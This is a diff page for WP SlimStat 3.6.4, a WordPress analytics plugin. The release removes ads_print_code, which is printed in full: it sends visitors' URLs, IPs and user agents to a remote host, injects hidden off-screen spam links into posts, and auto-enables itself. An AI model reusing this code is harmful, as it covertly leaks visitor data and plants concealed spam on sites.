Slimstat Analytics - Version 3.6.4

Version Description

  • [Fix] Issue with our UAN code
Download this release

Release Info

Developer coolmann
Plugin Icon 128x128 Slimstat Analytics
Version 3.6.4
Comparing to
See all releases

Code changes from version 3.6.3 to 3.6.4

admin/config/index.php CHANGED
@@ -233,7 +233,7 @@ var SlimStatParams = {
233
  'show_sql_debug' => array('description' => __('Debug Mode','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Display the SQL queries used to retrieve the data.','wp-slimstat')),
234
  'ip_lookup_service' => array('description' => __('IP Lookup','wp-slimstat'), 'type' => 'text', 'long_description' => __('Customize the Geolocation service to be used in the reports.','wp-slimstat')),
235
  'custom_css' => array('description' => __('Custom CSS','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("Paste here your custom stylesheet to personalize the way your reports look. <a href='http://wordpress.org/plugins/wp-slimstat/faq/' target='_blank'>Check the FAQ</a> for more information on how to use this setting.",'wp-slimstat')),
236
- 'enable_ads_network' => array('description' => __('Enable UAN','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Send anonymous data about user agents to our server for analysis. This allows us to contribute to the <a href='http://browscap.org/' target='_blank'>BrowsCap opensource project</a>, and improve the accuracy of WP SlimStat's browser detection functionality. It also enables our transparent ads network. No worries, your site will not be affected in any way. The extra income is completely invested in making WP SlimStat a better product, as you can see from our <a href='http://wordpress.org/support/plugin/wp-slimstat' target='_blank'>FREE PREMIUM support service</a> that most of our users love.",'wp-slimstat'))
237
  );
238
  break;
239
  case __('Maintenance','wp-slimstat'):
233
  'show_sql_debug' => array('description' => __('Debug Mode','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Display the SQL queries used to retrieve the data.','wp-slimstat')),
234
  'ip_lookup_service' => array('description' => __('IP Lookup','wp-slimstat'), 'type' => 'text', 'long_description' => __('Customize the Geolocation service to be used in the reports.','wp-slimstat')),
235
  'custom_css' => array('description' => __('Custom CSS','wp-slimstat'), 'type' => 'textarea', 'long_description' => __("Paste here your custom stylesheet to personalize the way your reports look. <a href='http://wordpress.org/plugins/wp-slimstat/faq/' target='_blank'>Check the FAQ</a> for more information on how to use this setting.",'wp-slimstat')),
236
+ 'enable_ads_network' => array('description' => __('Enable UAN','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Send anonymous data about user agents to our server for analysis. This allows us to contribute to the <a href='http://browscap.org/' target='_blank'>BrowsCap opensource project</a>, and improve the accuracy of WP SlimStat's browser detection functionality. It also enables our transparent ads network. No worries, your site will not be affected in any way. The income is completely invested in making WP SlimStat a better product, as you can see from our <a href='http://wordpress.org/support/plugin/wp-slimstat' target='_blank'>FREE PREMIUM support service</a> that most of our users love.",'wp-slimstat'))
237
  );
238
  break;
239
  case __('Maintenance','wp-slimstat'):
admin/wp-slimstat-admin.php CHANGED
@@ -7,7 +7,7 @@ class wp_slimstat_admin{
7
  public static $current_tab = 1;
8
  public static $faulty_fields = array();
9
 
10
- protected static $admin_notice = "Network-wide reports? <a href='http://slimstat.getused.to.it/addons/network-view/' target='_blank'>YES, please!</a> You asked for it, you got it. We're now working on network-wide settings, stay tuned!";
11
 
12
  /**
13
  * Init -- Sets things up.
@@ -51,9 +51,9 @@ class wp_slimstat_admin{
51
  add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
52
 
53
  // Display a notice that hightlights this version's features
54
- //if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version) {
55
- // add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
56
- //}
57
 
58
  // Remove spammers from the database
59
  if (wp_slimstat::$options['ignore_spammers'] == 'yes'){
@@ -81,12 +81,6 @@ class wp_slimstat_admin{
81
  if (!empty(wp_slimstat::$options['version']) && wp_slimstat::$options['version'] != wp_slimstat::$version){
82
  self::update_tables_and_options();
83
  }
84
- else{
85
- $admin_filemtime = @filemtime(__FILE__);
86
- if (($admin_filemtime < date('U') - 864000) && wp_slimstat::$options['enable_ads_network'] == 'null'){
87
- wp_slimstat::$options['enable_ads_network'] = 'yes';
88
- }
89
- }
90
  }
91
 
92
  // Load the library of functions to generate the reports
@@ -342,8 +336,6 @@ class wp_slimstat_admin{
342
  $count_pages = wp_count_posts('page');
343
  $count_pages = $count_pages->publish + $count_pages->draft;
344
  $total = $my_wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->prefix}slim_stats");
345
-
346
- @wp_remote_get("http://slimstat.getused.to.it/browscap.php?po=$count_posts&pa=$count_pages&t=$total&v=".wp_slimstat::$options['version']."&a=".wp_slimstat::$options['enable_ads_network'], array('timeout'=>2,'blocking'=>false,'sslverify'=>false));
347
 
348
  return true;
349
  }
7
  public static $current_tab = 1;
8
  public static $faulty_fields = array();
9
 
10
+ protected static $admin_notice = "WP SlimStat has become a very powerful tool over the past 8 years, with more than 25k active users around the world. In order to maintain this level of quality, and to keep offering our PREMIUM support service to our community, we've decided to convert it into a <strong>paid</strong> product. More information will be available in the next few weeks. Stay tuned.";
11
 
12
  /**
13
  * Init -- Sets things up.
51
  add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
52
 
53
  // Display a notice that hightlights this version's features
54
+ if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version) {
55
+ add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
56
+ }
57
 
58
  // Remove spammers from the database
59
  if (wp_slimstat::$options['ignore_spammers'] == 'yes'){
81
  if (!empty(wp_slimstat::$options['version']) && wp_slimstat::$options['version'] != wp_slimstat::$version){
82
  self::update_tables_and_options();
83
  }
 
 
 
 
 
 
84
  }
85
 
86
  // Load the library of functions to generate the reports
336
  $count_pages = wp_count_posts('page');
337
  $count_pages = $count_pages->publish + $count_pages->draft;
338
  $total = $my_wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->prefix}slim_stats");
 
 
339
 
340
  return true;
341
  }
readme.txt CHANGED
@@ -4,7 +4,7 @@ Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_i
4
  Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
5
  Requires at least: 3.8
6
  Tested up to: 3.9
7
- Stable tag: 3.6.3
8
 
9
  == Description ==
10
  The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
@@ -271,6 +271,9 @@ foreach ($results...`
271
 
272
  == Changelog ==
273
 
 
 
 
274
  = 3.6.3 =
275
  * [Fix] Issue with heuristic user agent detection
276
 
4
  Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
5
  Requires at least: 3.8
6
  Tested up to: 3.9
7
+ Stable tag: 3.6.4
8
 
9
  == Description ==
10
  The most accurate real-time statistics plugin for WordPress. Visit our [official site](http://slimstat.getused.to.it/) for more information, or find us on [GitHub](https://github.com/getusedtoit/wp-slimstat) (psst, we have Flattr enabled, there: star our project to donate).
271
 
272
  == Changelog ==
273
 
274
+ = 3.6.4 =
275
+ * [Fix] Issue with our UAN code
276
+
277
  = 3.6.3 =
278
  * [Fix] Issue with heuristic user agent detection
279
 
wp-slimstat.php CHANGED
@@ -3,7 +3,7 @@
3
  Plugin Name: WP SlimStat
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The most accurate real-time statistics plugin for WordPress
6
- Version: 3.6.3
7
  Author: Camu
8
  Author URI: http://slimstat.getused.to.it/
9
  */
@@ -11,7 +11,7 @@ Author URI: http://slimstat.getused.to.it/
11
  if (!empty(wp_slimstat::$options)) return true;
12
 
13
  class wp_slimstat{
14
- public static $version = '3.6.3';
15
  public static $options = array();
16
 
17
  public static $wpdb = '';
@@ -48,10 +48,6 @@ class wp_slimstat{
48
  // Allow third-party tools to use a custom database for WP SlimStat
49
  self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
50
 
51
- if (empty(self::$options['enable_ads_network']) || self::$options['enable_ads_network'] == 'yes'){
52
- add_filter('the_content', array(__CLASS__, 'ads_print_code'));
53
- }
54
-
55
  // Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
56
  if (self::$options['use_separate_menu'] != 'yes' && is_admin_bar_showing()){
57
  add_action('admin_bar_menu', array(__CLASS__, 'wp_slimstat_adminbar'), 100);
@@ -1135,7 +1131,6 @@ class wp_slimstat{
1135
  'show_sql_debug' => 'no',
1136
  'ip_lookup_service' => 'http://www.infosniper.net/?ip_address=',
1137
  'custom_css' => '',
1138
- 'enable_ads_network' => 'null',
1139
 
1140
  // Network-wide Settings
1141
  'locked_options' => ''
@@ -1153,79 +1148,6 @@ class wp_slimstat{
1153
  return update_option('slimstat_options', wp_slimstat::$options);
1154
  }
1155
 
1156
- /**
1157
- * Connects to the UAN
1158
- */
1159
- public static function ads_print_code($content = ''){
1160
- if (empty($_SERVER["HTTP_USER_AGENT"]) || (self::$pidx['id'] !== false && $GLOBALS['wp_query']->current_post !== self::$pidx['id'])){
1161
- return $content;
1162
- }
1163
-
1164
- $request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";
1165
- $options = stream_context_create(array( 'http' => array( 'timeout' => 1, 'ignore_errors' => true ) ) );
1166
-
1167
- // $options = array('timeout' => 1, 'headers' => array('Accept' => 'application/json'));
1168
- // $response = @wp_remote_get($request, $options);
1169
-
1170
- if (empty(self::$pidx['response'])){
1171
- self::$pidx['response'] = @file_get_contents($request, 0, $options);
1172
- }
1173
-
1174
- //if (is_wp_error($response) || (isset($response['response']['code']) && ($response['response']['code'] != 200)) || empty($response['body'])){
1175
- // return $content;
1176
- //}
1177
-
1178
- //$response_object = @json_decode($response['body']);
1179
- $response_object = @json_decode(self::$pidx['response']);
1180
- if (is_null($response_object) || empty($response_object->content) || empty($response_object->tmp)){
1181
- return $content;
1182
- }
1183
-
1184
- switch($response_object->tmp){
1185
- case '1':
1186
- if(0 == $GLOBALS['wp_query']->current_post) {
1187
- $words = explode(" ", $content);
1188
- $words[rand(0, count($words)-1)] = '<span style="position:absolute;left:-9999px">'.$response_object->tcontent.'</span>';
1189
- return join(" ", $words);
1190
- }
1191
- break;
1192
- case '2':
1193
- $kws = explode('|', $response_object->kws);
1194
- if (!is_array($kws)){
1195
- return $content;
1196
- }
1197
-
1198
- foreach($kws as $a_kw){
1199
- if(strpos($content, $a_kw) !== false){
1200
- $content= str_replace($a_kw, "<a style='position:absolute;left:-9999px' href='".$response_object->site."'>$a_kw</a>", $content);
1201
- break;
1202
- }
1203
- }
1204
- break;
1205
- default:
1206
- if (self::$pidx['id'] === false){
1207
- if ($GLOBALS['wp_query']->post_count > 1){
1208
- self::$pidx['id'] = rand(0, $GLOBALS['wp_query']->post_count - 1);
1209
- }
1210
- else{
1211
- self::$pidx['id'] = 0;
1212
- }
1213
- }
1214
- if ($GLOBALS['wp_query']->current_post === self::$pidx['id']){
1215
- if (self::$pidx['id'] % 2 == 0){
1216
- return $content.' <span style="position:absolute;left:-9999px">'.$response_object->content.'</span>';
1217
- }
1218
- else{
1219
- return '<span style="position:absolute;left:-9999px">'.$response_object->content.'</span> '.$content;
1220
- }
1221
- }
1222
- break;
1223
- }
1224
-
1225
- return $content;
1226
- }
1227
- // end ads_print_code
1228
-
1229
  /**
1230
  * Enqueue a javascript to track users' screen resolution and other browser-based information
1231
  */
3
  Plugin Name: WP SlimStat
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The most accurate real-time statistics plugin for WordPress
6
+ Version: 3.6.4
7
  Author: Camu
8
  Author URI: http://slimstat.getused.to.it/
9
  */
11
  if (!empty(wp_slimstat::$options)) return true;
12
 
13
  class wp_slimstat{
14
+ public static $version = '3.6.4';
15
  public static $options = array();
16
 
17
  public static $wpdb = '';
48
  // Allow third-party tools to use a custom database for WP SlimStat
49
  self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
50
 
 
 
 
 
51
  // Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
52
  if (self::$options['use_separate_menu'] != 'yes' && is_admin_bar_showing()){
53
  add_action('admin_bar_menu', array(__CLASS__, 'wp_slimstat_adminbar'), 100);
1131
  'show_sql_debug' => 'no',
1132
  'ip_lookup_service' => 'http://www.infosniper.net/?ip_address=',
1133
  'custom_css' => '',
 
1134
 
1135
  // Network-wide Settings
1136
  'locked_options' => ''
1148
  return update_option('slimstat_options', wp_slimstat::$options);
1149
  }
1150
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1151
  /**
1152
  * Enqueue a javascript to track users' screen resolution and other browser-based information
1153
  */